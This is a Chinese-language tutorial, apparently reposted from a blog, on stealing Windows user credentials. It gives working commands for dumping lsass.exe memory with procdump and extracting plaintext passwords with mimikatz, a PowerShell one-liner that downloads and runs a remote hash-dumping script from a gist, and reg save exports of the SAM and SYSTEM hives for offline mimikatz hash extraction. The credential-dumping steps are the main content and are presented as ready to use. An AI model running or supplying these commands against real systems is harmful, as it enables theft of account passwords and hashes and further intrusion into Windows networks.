windows抓取用户密码

您所在的位置:网站首页 windows管理员用户密码 windows抓取用户密码

windows抓取用户密码

2023-08-23 01:38| 来源: 网络整理| 查看: 265

前言

windows环境下,一般推荐用procdump配合mimikatz来读取密码。

使用procdump的原因是微软官方的,不容易出问题另外还有种方法就是通过powershell来导出,在使用工具不方便时候可以采取该方法 基础知识 windows sam文件

windows的用户hash一般是存储在C:\windows\system32\config\SAM文件中(域控存在NTDS.dit文件中),只不过,就算是管理员权限,也是无法正常打开并读取文件内容,因此一般无法直接通过SAM文件获取用户hash。 可以通过reg save命令通过SAM文件dump出文件再使用mimikatz导出hash,详情后文会阐述。

lsass.exe进程

lsass.exe是一个系统进程,用于本地安全认证,用户的hash信息就存在lsass.exe程序内存中。我们一般就是以lsass.exe进程为目标,使用工具从该进程中dump出已登录用户的hash相关信息

用户hash构成

既然要获取用户hash,肯定需要了解hash组成及其含义:

用户名称:RID:LM-HASH值:NTLM-HASH值 其中,NTLM-HASH比LM-HASH的安全性要更高自Windows Vista和Windows Server 2008开始,Windows取消LM hash。当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码 LM-HASH和NTLM-HASH

LM-HASH主要经过大写转换,位数补全和DES加密等运算,最终生成一个32位字符串。 NTLM-HASH主要经过格式转换和MD4等运算,最终也是生成一个32位字符串。 在此不对具体算法进行深入研究,需要知道的是两者的运用环境:

LM-HASH:NTLM-HASH: 0X01 procdump+mimikatz读取密码 从https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump下载procdump。 在这里插入图片描述使用管理员权限运行cmd,切换到procdump所在目录,运行procdump64.exe -accepteula -ma lsass.exe lsass.dmp命令,从lsass.exe进程的内存中dump出用户账户和密码,并转储为离线版的lsass.dmp。 在这里插入图片描述把lsass.dmp复制到mimikatz所在目录读用户密码,同样管理员权限开启cmd,执行以下命令,即可读取用户账号及明文密码 mimikatz privilege::debug sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords

在这里插入图片描述

0x02 使用powershell读取密码

使用powershell读取密码的原理和第一种类似,也是从lsass.exe进程中读取,需要管理员权限运行cmd,调用powershell。 powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/ATpiu/d656f76a7a93209ccfec2748fb71b9b7/raw/3ea13924b32d42d737a8ba058cea24cba81f10ec/Get-PassHashes.ps1');Get-PassHashes 在这里插入图片描述

0x03 通过SAM文件+mimikatz读取密码 导出导出SAM和System文件 reg save HKLM\SYSTEM sys.hiv reg save HKLM\SAM sam.hiv 将上述获得的sys.hiv和sam.hiv文件复制到mimikatz所在文件夹,运行mimikatz,输入lsadump::sam /system:sys.hiv /sam:sam.hiv,即可导出所有用户密码hash 在这里插入图片描述


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3